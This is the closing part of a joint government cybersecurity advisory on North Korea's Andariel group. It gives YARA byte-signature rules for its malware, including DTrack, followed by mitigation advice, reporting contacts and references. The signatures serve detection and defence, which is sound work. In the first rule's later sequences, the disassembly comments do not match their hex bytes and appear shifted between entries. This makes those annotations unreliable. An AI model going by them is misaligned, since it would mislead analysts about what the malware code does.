        $sequence_11 = { 0f85d9000000 488d15d0c90000 41b810200100 488bcd e8???????? eb6b b9f4ffffff }
            // n = 7, score = 100
            //   0f85d9000000         | jne                 0xffffffd6
            //   488d15d0c90000       | dec                 eax
            //   41b810200100         | lea                 ebx, [0x16c7f]
            //   488bcd               | dec                 eax
            //   e8????????           |                     
            //   eb6b                 | mov                 ecx, dword ptr [ebx – 8]
            //   b9f4ffffff           | dec                 eax

        $sequence_12 = { 48890d???????? 488905???????? 488d05ae610000 488905???????? 488d05a0550000 488905???????? }
            // n = 6, score = 100
            //    48890d????????       |                     
            //   488905????????       |                     
            //   488d05ae610000       | test                ecx, ecx
            //   488905????????       |                     
            //   488d05a0550000       | je                  0x10
            //   488905????????       |                     

        $sequence_13 = { 8bcf e8???????? 488b7c2448 85c0 0f8440030000 488d0560250100 }
            // n = 6, score = 100
            //   8bcf                  | mov                 eax, 0x12010
            //   e8????????           |                     
            //   488b7c2448           | dec                 eax
            //   85c0                 | mov                 ecx, ebp
            //   0f8440030000         | jmp                 0x83
            //   488d0560250100       | mov                 ecx, 0xfffffff4

        $sequence_14 = { ff15???????? 8b05???????? 2305???????? ba02000000 33c9 8905???????? 8b05???????? }
            // n = 7, score = 100
            //   ff15????????         |                     
            //   8b05????????         |                     
            //   2305????????         |                     
            //   ba02000000           | dec                 eax
            //   33c9                 | lea                 eax, [0x61ae]
            //   8905????????         |                     
            //   8b05????????         |                     

        $sequence_15 = { 4883ec30 498bd8 e8???????? 488bc8 4885c0 }
            // n = 5, score = 100
            //   4883ec30             | jne                 0xdf
            //   498bd8               | dec                 eax
            //   e8????????           |                     
            //   488bc8               | lea                 edx, [0xc9d0]
            //   4885c0               | inc                 ecx

    condition:
        7 of them and filesize < 557056
}

rule win_dtrack_auto {
    strings:
        $sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 }
            // n = 7, score = 400
            //   52                   | push                edx
            //   8b4508               | mov                 eax, dword ptr [ebp + 8]
            //   50                   | push                eax
            //   e8????????           |                     
            //   83c414               | add                 esp, 0x14
            //   8b4d10               | mov                 ecx, dword ptr [ebp + 0x10]
            //   51                   | push                ecx

        $sequence_1 = { 3a4101 7523 83854cf6ffff02 838550f6ffff02 80bd4af6ffff00 75ae c78544f6ffff00000000 }
            // n = 7, score = 300
            //   3a4101               | cmp                 al, byte ptr [ecx + 1]
            //    7523                 | jne                 0x25
            //   83854cf6ffff02       | add                 dword ptr [ebp – 0x9b4], 2
            //   838550f6ffff02       | add                 dword ptr [ebp – 0x9b0], 2
            //   80bd4af6ffff00       | cmp                 byte ptr [ebp – 0x9b6], 0
            //   75ae                 | jne                 0xffffffb0
            //   c78544f6ffff00000000     | mov     dword ptr [ebp – 0x9bc], 0

        $sequence_2 = { 50 ff15???????? a3???????? 68???????? e8???????? 83c404 50 }
            // n = 7, score = 300
            //   50                   | push                eax
            //   ff15????????         |                     
            //   a3????????           |                     
            //   68????????           |                     
            //   e8????????           |                     
            //   83c404               | add                 esp, 4
            //   50                   | push                eax

        $sequence_3 = { 8d8dd4faffff 51 e8???????? 83c408 8b15???????? }
            // n = 5, score = 300
            //   8d8dd4faffff         | lea                 ecx, [ebp – 0x52c]
            //   51                   | push                ecx
            //   e8????????           |                     
            //   83c408               | add                 esp, 8
            //   8b15????????         |                     

        $sequence_4 = { 8855f5 6a5c 8b450c 50 e8???????? }
            // n = 5, score = 300
            //   8855f5               | mov                 byte ptr [ebp – 0xb], dl
            //   6a5c                 | push                0x5c
            //   8b450c               | mov                 eax, dword ptr [ebp + 0xc]
            //   50                   | push                eax
            //   e8????????           |                     

        $sequence_5 = { 51 e8???????? 83c410 8b558c 52 }
            // n = 5, score = 300
            //   51                   | push                ecx
            //   e8????????           |                     
            //   83c410               | add                 esp, 0x10
            //   8b558c                | mov                 edx, dword ptr [ebp – 0x74]
            //   52                   | push                edx

        $sequence_6 = { 8b4d0c 51 68???????? 8d9560eaffff 52 e8???????? }
            // n = 6, score = 300
            //   8b4d0c               | mov                 ecx, dword ptr [ebp + 0xc]
            //   51                   | push                ecx
            //   68????????           |                     
            //   8d9560eaffff         | lea                 edx, [ebp – 0x15a0]
            //   52                   | push                edx
            //   e8????????           |                     

        $sequence_7 = { 83c001 8945f4 837df420 7d2c 8b4df8 }
            // n = 5, score = 300
            //   83c001               | add                 eax, 1
            //   8945f4               | mov                 dword ptr [ebp – 0xc], eax
            //   837df420             | cmp                 dword ptr [ebp – 0xc], 0x20
            //   7d2c                 | jge                 0x2e
            //   8b4df8               | mov                 ecx, dword ptr [ebp – 8]

        $sequence_8 = { 83c001 89856cf6ffff 8b8d70f6ffff 8a11 }
            // n = 4, score = 300
            //   83c001               | add                 eax, 1
            //   89856cf6ffff         | mov                 dword ptr [ebp – 0x994], eax
            //   8b8d70f6ffff         | mov                 ecx, dword ptr [ebp – 0x990]
            //   8a11                 | mov                 dl, byte ptr [ecx]

        $sequence_9 = { 0355f0 0fb602 0fb64df7 33c1 0fb655fc 33c2 }
            // n = 6, score = 200
            //   0355f0               | add                 edx, dword ptr [ebp – 0x10]
            //   0fb602               | movzx               eax, byte ptr [edx]
            //   0fb64df7             | movzx               ecx, byte ptr [ebp – 9]
            //   33c1                 | xor                 eax, ecx
            //    0fb655fc             | movzx               edx, byte ptr [ebp – 4]
            //   33c2                 | xor                 eax, edx

        $sequence_10 = { d1e9 894df8 8b5518 8955fc c745f000000000 }
            // n = 5, score = 200
            //   d1e9                 | shr                 ecx, 1
            //   894df8               | mov                 dword ptr [ebp – 8], ecx
            //   8b5518               | mov                 edx, dword ptr [ebp + 0x18]
            //   8955fc               | mov                 dword ptr [ebp – 4], edx
            //   c745f000000000       | mov                 dword ptr [ebp – 0x10], 0

        $sequence_11 = { 8b4df0 3b4d10 0f8d90000000 8b5508 0355f0 0fb602 }
            // n = 6, score = 200
            //   8b4df0               | mov                 ecx, dword ptr [ebp – 0x10]
            //   3b4d10               | cmp                 ecx, dword ptr [ebp + 0x10]
            //   0f8d90000000         | jge                 0x96
            //   8b5508               | mov                 edx, dword ptr [ebp + 8]
            //   0355f0               | add                 edx, dword ptr [ebp – 0x10]
            //   0fb602               | movzx               eax, byte ptr [edx]

        $sequence_12 = { 894d14 8b45f8 c1e018 8b4dfc c1e908 0bc1 }
            // n = 6, score = 200
            //   894d14               | mov                 dword ptr [ebp + 0x14], ecx
            //   8b45f8               | mov                 eax, dword ptr [ebp – 8]
            //   c1e018               | shl                 eax, 0x18
            //   8b4dfc               | mov                 ecx, dword ptr [ebp – 4]
            //   c1e908               | shr                 ecx, 8
            //   0bc1                 | or                  eax, ecx

        $sequence_13 = { 0bc1 894518 8b5514 8955f8 }
            // n = 4, score = 200
            //   0bc1                 | or                  eax, ecx
            //   894518               | mov                 dword ptr [ebp + 0x18], eax
            //   8b5514               | mov                 edx, dword ptr [ebp + 0x14]
            //   8955f8               | mov                 dword ptr [ebp – 8], edx

        $sequence_14 = { 8b5514 8955f8 8b4518 8945fc e9???????? 8be5 }
            // n = 6, score = 200
            //   8b5514               | mov                 edx, dword ptr [ebp + 0x14]
            //   8955f8               | mov                 dword ptr [ebp – 8], edx
            //   8b4518               | mov                 eax, dword ptr [ebp + 0x18]
            //   8945fc               | mov                 dword ptr [ebp – 4], eax
            //   e9????????           |                     
            //   8be5                 | mov                 esp, ebp

    condition:
        7 of them and filesize < 1736704
}

Mitigation Measures

The authoring agencies recommend implementing the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity.

Log4Shell and Other Log4j Vulnerabilities

Defenders should consult the joint Cybersecurity Advisory titled “Mitigating Log4Shell and Other Log4j-Related Vulnerabilities” and CISA’s “Apache Log4j Vulnerability” guidance. Organizations can mitigate the risks posed by the vulnerability by identifying assets affected by Log4Shell and other Log4j-related vulnerabilities and upgrading Log4j assets and affected products to the latest version. 

Note: CVE-2021-44228 ‘Log4Shell’ was disclosed in December 2021 and affects the Log4j library prior to version 2.17.0.

Defenders should remain alert to vendor software updates, and initiate hunt and incident response procedures to detect possible Log4Shell exploitation.

Web Shell Malware

Web shell malware is deployed by adversaries on a victim’s web server to execute arbitrary system commands. The NSA and Australian Signals Directorate’s report titled “Detect and Prevent Web Shell Malware” provides mitigating actions to identify and recover from web shells.

Preventing exploitation of web-facing servers often depends on maintaining an inventory of systems and applications, rapidly applying patches as they are released, putting vulnerable or potentially risky systems behind reverse proxies that require authentication, and deploying and configuring Web Application Firewalls (WAFs).

Endpoint Activity

Preventing and detecting further adversary activity should focus on deploying endpoint agents or other monitoring mechanisms, blocking unnecessary outbound connections, blocking external access to administrator panels and services or turning them off entirely, and segmenting the network to prevent lateral movement from a compromised web server to critical assets.

Command Line Activity and Remote Access

Monitoring for suspicious command-line activity, implementing multi-factor authentication for remote access services, and properly segmenting and using allow-listing tools for critical assets can protect against malicious activity by RGB 3rd Bureau’s Andariel group and other cyber threat actors.

Packing

Signatures for Themida, VMProtect and a number of other packers are available here, however, the signatures will not identify every file packed using these applications.

Check for security vulnerabilities, apply patches, and update to the latest version of software
Encrypt all sensitive data including personal information
Block access to unused ports
Change passwords when they are suspected of being compromised
Strengthen the subscriber identity authentication process for leased servers

DPRK Rewards for Justice

The U.S. and ROK Governments encourage victims to report suspicious activities, including those related to suspected DPRK cyber activities, to relevant authorities. If you provide information about illicit DPRK activities in cyberspace, including past or ongoing operations, you may be eligible for a reward. If you have information about illicit DPRK activities in cyberspace, including past or ongoing operations, providing such information through the Department of State’s Rewards for Justice program could make you eligible to receive an award of up to $10 million. For further details, please visit https://rewardsforjustice.net/.

Acknowledgements

Mandiant and Microsoft Threat Intelligence contributed to this CSA.

Disclaimer of Endorsement

Your organization has no obligation to respond or provide information in response to this product.  If, after reviewing the information provided, your organization decides to provide information to the authorizing agencies, it must do so consistent with applicable state and federal law.

The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or service by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the co-authors.

Trademark Recognition

Active Directory®, Microsoft®, PowerShell®, and Windows® are registered trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered trademarks of The MITRE Corporation.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical information associated with this Cybersecurity Advisory, to CISA at [email protected] or cisa.gov/report or to the FBI via your local FBI field office listed at https://www.fbi.gov/contact-us/fieldoffices.

DC3 Cyber Forensics Laboratory (CFL): [email protected]

DoD-Defense Industrial Base (DIB) Collaborative Information Sharing Environment (DCISE): [email protected]

NSA Cybersecurity Report Questions and Feedback: [email protected]

NSA Defense Industrial Base Inquiries and Cybersecurity Services: [email protected]

NSA Media Inquiries / Press Desk: 443-634-0721, [email protected]

Republic of Korea organizations: If you suspect cyber incidents involving state actors, including Andariel, or discover similar cases, please contact the relevant authorities below.

National Intelligence Service: www.nis.go.kr, +82 111

References

AhnLab Security Emergency Response Center:

https://asec.ahnlab.com/en/56405/
https://asec.ahnlab.com/en/59073/
https://asec.ahnlab.com/en/66088/

Boredhackerblog: http://www.boredhackerblog.info/2022/11/openssl-100-fipps-linux-backdoor-notes.html

Cisco Talos Intelligence blogs:

https://blog.talosintelligence.com/lazarus-three-rats/ 
https://blog.talosintelligence.com/lazarus-magicrat/
https://blog.talosintelligence.com/lazarus-collectionrat/
https://blog.talosintelligence.com/lazarus-quiterat/

DCSO blog: https://medium.com/@DCSO_CyTec/andariels-jupiter-malware-and-the-case-of-the-curious-c2-dbfe29f57499

Github.com/ditekshen: https://github.com/ditekshen/detection/blob/master/yara/indicator_packed.yar

JPCERT blogs:

https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html
https://blogs.jpcert.or.jp/en/2022/07/yamabot.html

Mandiant blogs:

https://www.mandiant.com/resources/blog/north-korea-cyber-structure-alignment-2023
https://www.mandiant.com/resources/blog/mapping-dprk-groups-to-government

Microsoft blogs:

https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
https://www.microsoft.com/en-us/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/

NSCS Guidance:

Alert: Apache Log4j Vulnerabilities: https://www.ncsc.gov.uk/news/apache-log4j-vulnerability
Information: https://www.ncsc.gov.uk/information/log4j-vulnerability-what-everyone-needs-to-know

Symantec blog: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clasiopa-materials-research

VMware blog: https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html

WithSecure Labs report: https://labs.withsecure.com/publications/no-pineapple-dprk-targeting-of-medical-research-and-technology-sector

Appendix: MITRE ATT&CK Techniques and Software

The tactics and techniques referenced in this advisory are identified in Table 3 – Table 12.